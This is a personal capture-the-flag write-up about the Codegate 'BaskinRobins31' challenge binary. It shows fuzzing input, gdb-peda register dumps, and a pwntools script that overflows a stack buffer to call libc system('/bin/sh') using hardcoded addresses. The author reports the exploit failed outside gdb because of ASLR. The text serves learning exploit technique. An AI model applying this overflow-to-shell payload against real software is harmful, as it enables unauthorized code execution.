This was my first official CTF (minus me dabbling in RE challenge here and there), so let’s see what I managed. Unfortunately, I didn’t make it by the deadline. Looking at the write-ups now, I was definitely in over my head, but I learned the shit out of ROP.
The Challenge

The Download link downloads a file named “4b9a5f57118bcfb6db1d0991af9e4159”. I unzip it with the unzip command, and the zip extracts a file named “BaskinRobins31”. I give it execute permissions and run file on it.
root@kali:~/Documents/CTF/Codegate# file BaskinRobins31 BaskinRobins31: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4abb416c74a16aaa8b4c9c6c366bed445c306037, not stripped
Cool, let’s run it and start throwing stuff at it.
root@kali:~/Documents/CTF/Codegate# ./BaskinRobins31 ### This game is similar to the BaskinRobins31 game. ### ### The one that take the last match win ### There are 31 number(s) How many numbers do you want to take ? (1-3) 2 2 remaining number(s) : 29 I've taken 1 number(s) remaining number(s) : 28 How many numbers do you want to take ? (1-3) 4 4 Don't break the rules...:( remaining number(s) : 28 How many numbers do you want to take ? (1-3) 2 2 remaining number(s) : 26 I've taken 2 number(s) remaining number(s) : 24 How many numbers do you want to take ? (1-3) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Don't break the rules...:( remaining number(s) : 24 How many numbers do you want to take ? (1-3) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Don't break the rules...:( Segmentation fault
Ah, I love the sight of a segfault. So clearly, we’ve got a buffer overflow. Let’s see what’s going on in gdb, starting at the Read function.
[----------------------------------registers-----------------------------------] RAX: 0xda RBX: 0x0 RCX: 0x7ffff7b088d1 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000) RDX: 0x190 RSI: 0x7fffffffe0f0 ('A' <repeats 200 times>...) RDI: 0x0 RBP: 0x7fffffffe1a0 ('A' <repeats 41 times>, "\n\244\367\377\177") RSP: 0x7fffffffe0e0 --> 0x7fffffffe0f0 ('A' <repeats 200 times>...) RIP: 0x4008f9 (<your_turn+85>: mov QWORD PTR [rbp-0x10],rax) R8 : 0x7ffff7fc44c0 (0x00007ffff7fc44c0) R9 : 0x0 R10: 0x38b R11: 0x246 R12: 0x400780 (<_start>: xor ebp,ebp) R13: 0x7fffffffe2a0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4008ec <your_turn+72>: mov rsi,rax 0x4008ef <your_turn+75>: mov edi,0x0 0x4008f4 <your_turn+80>: call 0x400700 <read@plt> => 0x4008f9 <your_turn+85>: mov QWORD PTR [rbp-0x10],rax 0x4008fd <your_turn+89>: mov rdx,QWORD PTR [rbp-0x10] 0x400901 <your_turn+93>: lea rax,[rbp-0xb0] 0x400908 <your_turn+100>: mov rsi,rax 0x40090b <your_turn+103>: mov edi,0x1 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe0e0 --> 0x7fffffffe0f0 ('A' <repeats 200 times>...) 0008| 0x7fffffffe0e8 --> 0x7fffffffe1b8 ('A' <repeats 17 times>, "\n\244\367\377\177") 0016| 0x7fffffffe0f0 ('A' <repeats 200 times>...) 0024| 0x7fffffffe0f8 ('A' <repeats 200 times>...) 0032| 0x7fffffffe100 ('A' <repeats 200 times>...) 0040| 0x7fffffffe108 ('A' <repeats 193 times>, "\n\244\367\377\177") 0048| 0x7fffffffe110 ('A' <repeats 185 times>, "\n\244\367\377\177") 0056| 0x7fffffffe118 ('A' <repeats 177 times>, "\n\244\367\377\177") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00000000004008f9 in your_turn () gdb-peda$
So it writes over the stack. We can probably use this to return to anywhere we want in the program by overflowing until we reach the return address. I quickly look up the address of system:
gdb-peda$ p system $1 = {<text variable, no debug info>} 0x7ffff7a63d40 <__libc_system>
and the string “/bin/sh”
gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0x7ffff7b9be95 --> 0x68732f6e69622f ('/bin/sh')
And append them to my input in little-endian form: \x40\x3c\xa6\xf7\xff\x7f \x95\xbe\xb9\xf7\xff\x7f
From here on, I just played with the number of A’s and nulls (\0) until the first address was placed in the first stack position, and the second address was placed right after.
I eventually ended up with
from pwn import * #r = remote('ch41l3ng3s.codegate.kr', 3131) #GOT addr: r = process("./BaskinRobins31") r.recvuntil('How many numbers do you want to take ? (1-3)') r.send("A"*182 + "\0\0\x40\x3d\xa6\xf7\xff\x7f\0\0" + "\x95\xbe\xb9\xf7\xff\x7f\0\0") r.interactive()
I ran the input with gdb and system(/bin/sh) correctly executed, but it didn’t run correctly locally outside of gdb or in the remote server.
Right. ASLR.
At this point, I started out trying to leak the GOT address, hence the unfinished comment on it in the code, but time ran out. I tried coming back to finish the problem a couple of days later, but the server was pulled down already.
Oops! Gotta start earlier next time!